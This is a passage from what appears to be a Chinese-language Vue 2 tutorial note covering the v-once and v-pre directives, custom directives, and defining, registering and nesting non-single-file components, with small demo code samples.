<button @click="n++">点我n+1</button>
</div>
</body>
<script type="text/javascript">
new Vue({
el:'#root',
data:{
n:1
}
})
</script>
- 输出:
![QQ截图20220303192733](https://i-blog.csdnimg.cn/blog_migrate/1b700e4fd005358c93f4c0073cc62deb.png)
初始都是用插值语法调用n,但是初始化的值中的n并不会随着data中的n变化,这就是v-once的效果,算是本篇笔记记录的最后五个内置指令中最有用的一个
v-pre
v-pre指令:
1.跳过其所在节点的编译过程。
2.可利用它跳过:没有使用指令语法、没有使用插值语法的节点,会加快编译。
主要是优化代码的编译速度
<body>
<div id="root">
<h2 v-pre>Vue其实很简单</h2>
<h2 >当前的n值是:{{n}}</h2>
<button @click="n++">点我n+1</button>
</div>
</body>
<script type="text/javascript">
new Vue({
el:'#root',
data:{
n:1
}
})
</script>
Vue自定义指令
语法
(1).**局部指令**:
new Vue({
directives:{指令名:配置对象}或{指令名:回调函数}
})
(2).全局指令:
Vue.directive(指令名,配置对象) 或 Vue.directive(指令名,回调函数)
配置的指令有两个参数, element和binding,
element,就是指令所获取的DOM元素,也就是我们绑定指令的控件
binding,数据实现绑定效果的关键,指令本身的一些参数打包其中
从下文实例1中的v-big方法 输出console.log(element,binding)
配置对象中常用的3个回调:
(1).bind:指令与元素成功绑定时调用。
(2).inserted:指令所在元素被插入页面时调用。
(3).update:指令所在模板结构被重新解析时调用。
备注:
1. ==指令定义时不加v-,但使用时要加v-;==
2. 指令名如果是多个单词,要使用kebab-case命名方式,不要用camelCase命名。
3. 使用对象方式配置的指令更灵活, 但函数式配置的指令更简洁
实例
- 局部指令-回调函数式配置, 函数指令设置好后何时会被调用?1.指令与元素成功绑定时(一上来)。2.指令所在的模板被重新解析时。
<body>
<div id="root">
<h2>{{name}}</h2>
<h2>当前的n值是:<span v-text="n"></span> </h2>
<!-- <h2>放大10倍后的n值是:<span v-big-number="n"></span> </h2> -->
<h2>放大10倍后的n值是:<span v-big="n"></span> </h2>
<button @click="n++">点我n+1</button>
<hr/>
</div>
</body>
<script type="text/javascript">
new Vue({
el:'#root',
data:{
name:'张三',
n:1
},
directives:{
big(element,binding){
element.innerText = binding.value * 10
}
}
})
</script>
- 输出:
-
局部指令-对象式配置,指令的触发分为了三个部分 bind:‘指令与元素成功绑定时’ ,inserted:‘指令所在元素被插入页面时’,update:‘指令所在的模板被重新解析时’
<body> <div id="root"> <h2>{{name}}</h2> <h2>当前的n值是:<span v-text="n"></span> </h2> <button @click="n++">点我n+1</button> <hr/> <input type="text" v-fbind:value="n"> <hr/> </div> </body> <script type="text/javascript"> new Vue({ el:'#root', data:{ name:'张三', n:1 }, directives:{ fbind:{ bind(element,binding){ //指令与元素成功绑定时(一上来) element.value = binding.value }, inserted(element,binding){ //指令所在元素被插入页面时 element.focus() }, update(element,binding){ //指令所在的模板被重新解析时 element.value = binding.value } } } }) </script>
- 输出:
注意:当页面上出现某些特别的方法,要求对控件做直接操作时,未获取控件就执行方法可能导致初始化失败,这种情况就必须使用对象配置式,在bind环节先绑定控件,再在inserted环节调用这些方法
3.全局配置-演示: 实际上两种配置的配置方式与上面一致,只是存放位置发生了改变
<body>
<div id="root">
<h2>{{name}}</h2>
<h2>当前的n值是:<span v-text="n"></span> </h2>
<button @click="n++">点我n+1</button>
<hr/>
<input type="text" v-fbind:value="n">
</div>
</body>
<script type="text/javascript">
//定义全局指令
Vue.directive('fbind',{
//指令与元素成功绑定时(一上来)
bind(element,binding){
element.value = binding.value
},
//指令所在元素被插入页面时
inserted(element,binding){
element.focus()
},
//指令所在的模板被重新解析时
update(element,binding){
element.value = binding.value
}
})
new Vue({
el:'#root',
data:{
name:'张三',
n:1
},
})
</script>
Vue组件
###组件化的意义
组件化的意义是避免重复的编写结构相同,只有数据不同的控件,
所以对于只出现过一次的控件是完全没有组件化的必要的,只有当结构具有复用性的时候,才有利用父子传递数据的特性来实现对同一个结构填入不同数据的效果
非单文件组件的基本使用
Vue中使用组件的三大步骤:
-
定义组件(创建组件)
-
注册组件
-
使用组件(写组件标签)
-
几个注意点:
1.关于组件名:
一个单词组成:
第一种写法(首字母小写):school
第二种写法(首字母大写):School
多个单词组成:
第一种写法(kebab-case命名):my-school
第二种写法(CamelCase命名):MySchool (需要Vue脚手架支持)
备注:
(1).组件名尽可能回避HTML中已有的元素名称,例如:h2、H2都不行。
(2).可以使用name配置项指定组件在开发者工具中呈现的名字。
2.关于组件标签:
第一种写法:
第二种写法:
备注:不用使用脚手架时,会导致后续组件不能渲染。
3.一个简写方式:
const school = Vue.extend(options) 可简写为:const school = options
定义组件
如何定义一个组件?
```
const 组件名 = Vue.extend({options})
```
其中options和new Vue(options)中的options稍有区别;
区别如下:
1.el不要写,为什么? ——— 最终所有的组件都要经过一个vm的管理,由vm中的el决定服务哪个容器。
2.data必须写成函数,为什么? ———— 避免组件被复用时,数据存在引用关系。
备注:使用template可以配置组件结构,
注册组件
如何注册组件?
1.局部注册:靠new Vue的时候传入components选项
2.全局注册:靠Vue.component(‘组件名’,组件)
使用组件
通过 <组件名></组件名> 的标签,将组件放到容器中
-
Vue组件实例 :
<body> <div id="root"> <!-- 3.使用组件 --> <hello></hello> <h1>{{msg}}</h1> <!-- 3.使用组件 --> <man></man> </div> </body> <script type="text/javascript"> Vue.config.productionTip = false //1.创建组件 const man = Vue.extend({ template:` <div class="demo"> <h2>名称:{{name}}</h2> <h2>称号:{{designation}}</h2> <button @click="showName">展露你的真容吧!</button> </div> `, data(){ return { name:'张三', designation:'法外狂徒' } }, methods: { showName(){ console.log(this.designation+this.name) } }, }) const hello = Vue.extend({ template:` <div> <h2>你好啊!{{name}}</h2> </div> `, data(){ return { name:'Tom' } } }) //2.注册组件(全局注册) Vue.component('hello',hello) new Vue({ el:'#root', data:{ msg:'你好啊!' }, //2.注册组件(局部注册) components:{ man, } }) </script>
-
输出
-
组件的嵌套
要点:
在 组件A 中进行 组件B 的组册,并在 组件A 的template中使用这个组件B
在实际开发中,可以创建一个组件来管理其他组件,这样Vue实例上的结构就简单很多
-
实例:
<body> <!-- 准备好一个容器--> <div id="root"> </div> </body> <script type="text/javascript"> Vue.config.productionTip = false //阻止 vue 在启动时生成生产提示。 //定义student组件 const student = Vue.extend({ name:'student', template:` <div> <h2>学生姓名:{{name}}</h2> <h2>学生年龄:{{age}}</h2> </div> `, data(){ return { name:'张三', age:18 } } }) //定义school组件 const school = Vue.extend({ name:'school', template:` <div> <h2>学校名称:{{name}}</h2> <h2>学校地址:{{address}}</h2> <student></student> </div> `, data(){ return { name:'向日葵幼稚园', address:'深圳' } }, //注册组件(局部) components:{ student } }) //定义hello组件 const hello = Vue.extend({ template:`<h1>{{msg}}</h1>`, data(){ return { msg:'欢迎光临老八小饭馆!' } } }) //定义app组件 const app = Vue.extend({ template:` <div> <hello></hello> <school></school> </div> `, components:{ school, hello } }) //创建vm new Vue({ template:'<app></app>', el:'#root', //注册组件(局部) components:{app} }) </script>
-
输出:
VueComponent
关于VueComponent:
1.school组件本质是一个名为VueComponent的构造函数,且不是程序员定义的,是Vue.extend生成的。
2.我们只需要写或,Vue解析时会帮我们创建school组件的实例对象,
即Vue帮我们执行的:new VueComponent(options)。
3.特别注意:每次调用Vue.extend,返回的都是一个全新的VueComponent!!!!
4.关于this指向:
(1).组件配置中:
data函数、methods中的函数、watch中的函数、computed中的函数 它们的this均是【VueComponent实例对象】。
(2).new Vue(options)配置中:
data函数、methods中的函数、watch中的函数、computed中的函数 它们的this均是【Vue实例对象】。
5.VueCompnent的实例对象,以后简称vc(也可称之为:组件实例对象)。
Vue的实例对象,以后简称vm。
Vue与VueComponent的关系
1.一个重要的内置关系:VueComponent.prototype.proto === Vue.prototype
2.为什么要有这个关系:让组件实例对象(vc)可以访问到 Vue原型上的属性、方法。